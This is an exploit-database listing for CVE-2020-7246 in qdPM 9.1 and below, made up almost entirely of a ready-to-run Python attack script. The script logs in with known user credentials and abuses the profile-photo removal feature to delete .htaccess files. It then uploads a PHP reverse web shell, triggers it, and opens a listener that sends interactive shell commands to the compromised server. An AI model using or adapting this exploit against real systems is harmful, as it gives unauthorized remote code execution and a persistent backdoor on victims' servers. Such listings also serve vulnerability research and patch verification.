qdPM Remote Code Execution

Related Vulnerabilities: CVE-2020-7246  
Publish Date: 28 Feb 2020
                							

                #!/usr/bin/python

#-------------------------------------------------------------------------------------
# Title:  qdPM Webshell Upload + RCE Exploit (qdPMv9.1 and below) (CVE-2020-7246)
# Author:  Tobin Shields (@TobinShields)
#
# Description:  This is an exploit to automatically upload a PHP web shell to
#        the qdPM platform via the "upload a profile photo" feature.
#        This method also bypasses the fix put into place from a previous CVE
#
# Usage:    In order to leverage this exploit, you must know the credentials of
#        at least one user. Then, you should modify the values highlighted below.
#        You will also need a .php web shell payload to upload. This exploit
#        was built and tested using the PHP script built by pentestmonkey:
#        https://github.com/pentestmonkey/php-reverse-shell
#-------------------------------------------------------------------------------------

# Imports
from requests import Session
from bs4 import BeautifulSoup as bs
import socket
from multiprocessing import Process
import time

# CHANGE THESE VALUES-----------------------------------------------------------------
login_url = "http://[victim_domain]/path/to/qdPM/index.php/login"
username = "jsmith@example.com"
password = "Pa$$w0rd"
payload = "/path/to/payload.php"
listner_port = 1234       # This should match your PHP payload
connection_delay = 2       # Increase this value if you have a slow connection and are experiencing issues
# ------------------------------------------------------------------------------------

# Build the myAccout URL from the provided URL
myAccount_url = login_url.replace("login", "myAccount")

# PROGRAM FUNCTIONS -----------------------------------------------------------------
# Utility function for anytime a page needs to be requested and parsed via bs4
def requestAndSoupify(url):
  page = s.get(url)
  soup = bs(page.content, "html.parser")
  return soup

# Function to log into the application, and supply the correct username/password
def login(url):
  # Soupify the login page
  login_page = requestAndSoupify(url)
  # Grab the csrf token
  token = login_page.find("input", {"name": "login[_csrf_token]"})["value"]
  # Build the POST values
  login_data = {
    "login[email]": username,
    "login[password]": password,
    "login[_csrf_token]": token
  }
  # Send the login request
  s.post(login_url, login_data)

# Function to get the base values for making a POST request from the myAccount page
def getPOSTValues():
  myAccount_soup = requestAndSoupify(myAccount_url)
  # Search for the 'base' POST data needed for any requests
  u_id   = myAccount_soup.find("input", {"name": "users[id]"})["value"]
  token   = myAccount_soup.find("input", {"name": "users[_csrf_token]"})["value"]
  u_name   = myAccount_soup.find("input", {"name": "users[name]"})["value"]
  u_email = myAccount_soup.find("input", {"name": "users[email]"})["value"]
  # Populate the POST data object
  post_data = {
    "users[id]": u_id,
    "users[_csrf_token]": token,
    "users[name]": u_name,
    "users[email]": u_email,
    "users[culture]": "en" # Keep the language English--change this for your victim locale
  }
  return post_data

# Function to remove the a file from the server by exploiting the CVE
def removeFile(file_to_remove):
  # Get base POST data
  post_data = getPOSTValues()
  # Add the POST data to remove a file
  post_data["users[photo_preview]"] = file_to_remove
  post_data["users[remove_photo]"] = 1
  # Send the POST request to the /update page
  s.post(myAccount_url + "/update", post_data)
  # Print update to user
  print("Removing " + file_to_remove)
  # Sleep to account for slow connections
  time.sleep(connection_delay)

# Function to upload the payload to the server
def uploadPayload(payload):
  # Get payload name from supplied URI
  payload_name = payload.rsplit('/', 1)[1]
  # Request page and get base POST files
  post_data = getPOSTValues()
  # Build correct payload POST header by dumping the contents
  payload_file = {"users[photo]": open(payload, 'rb')}
  # Send POST request with base data + file
  s.post(myAccount_url + "/update", post_data, files=payload_file)
  # Print update to user
  print("Uploading " + payload_name)
  # Sleep for slow connections
  time.sleep(connection_delay)

# A Function to find the name of the newly uploaded payload
  # NOTE: We have to do this because qdPM adds a random number to the uploaded file
  # EX: webshell.php becomes 1584009-webshell.php
def getPayloadURL():
  myAccount_soup = requestAndSoupify(myAccount_url)
  payloadURL = myAccount_soup.find("img", {"class": "user-photo"})["src"]
  return payloadURL

# Function to handle creating the webshell listener and issue commands to the victim
def createBackdoorListener():
  # Set up the listening socket on localhost
  server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  host = "0.0.0.0"
  port = listner_port # Specified at the start of this script by user
  server_socket.bind((host, port))
  server_socket.listen(2)
  victim, address = server_socket.accept()
  # Print update to user once the connection is made
  print("Received connection from: " + str(address))

  # Simulate a terminal and build a pusdo-prompt using the victem IP
  prompt = "backdoor@" + str(address[0]) + ":~$ "

  # Grab the first response from the victim--this is usually OS info
  response = victim.recv(1024).decode('utf-8')
  print(response)
  print("\nType 'exit' at any time to close the connection")

  # Maintain the connection and send data back and forth
  while True:
    # Grab the command from the user
    command = input(prompt)
    # If they type "exit" then close the socket
    if 'exit' in command:
      victim.close()
      server_socket.close()
      print("Disconnecting, please wait...")
      break
    # For all other commands provided
    else:
      # Encode the command to be properly sent via the socket & send the command
      command = str.encode(command + "\n")
      victim.send(command)
      # Grab the response to the command and decode it
      response = victim.recv(1024).decode('utf-8')
      # For some odd reason you have to hit "enter" after sending the command to receive the output
      # TODO: Fix this so it works on a single send? Although it might just be the PHP webshell
      victim.send(str.encode("\n"))
      response = victim.recv(1024).decode('utf-8')
      # If a command returns nothing (i.e. a 'cd' command, it prints a "$"
      # This is a confusing output so it will omit this output
      if response.strip() != "$":
        print(response)

# Trigger the PHP to run by making a page request
def triggerShell(s, payloadURL):
  pageReq = s.get(payloadURL)

# MAIN FUNCTION ----------------------------------------------------------------------
# The main function of this program establishes a unique session to issue the various POST requests
with Session() as s:
  # Login as know user
  login(login_url)
  # Remove Files
    # You may need to modify this list if you suspect that there are more .htaccess files
    # However, the default qdPM installation just had these two
  files_to_remove = [".htaccess", "../.htaccess"]
  for f in files_to_remove:
    removeFile(f)
  # Upload payload
  uploadPayload(payload)
  # Get the payload URL
  payloadURL = getPayloadURL()
  # Start a thread to trigger the script with a web request
  process = Process(target=triggerShell, args=(s, payloadURL))
  process.start()
  # Create the backdoor listener and wait for the above request to trigger
  createBackdoorListener()
<p>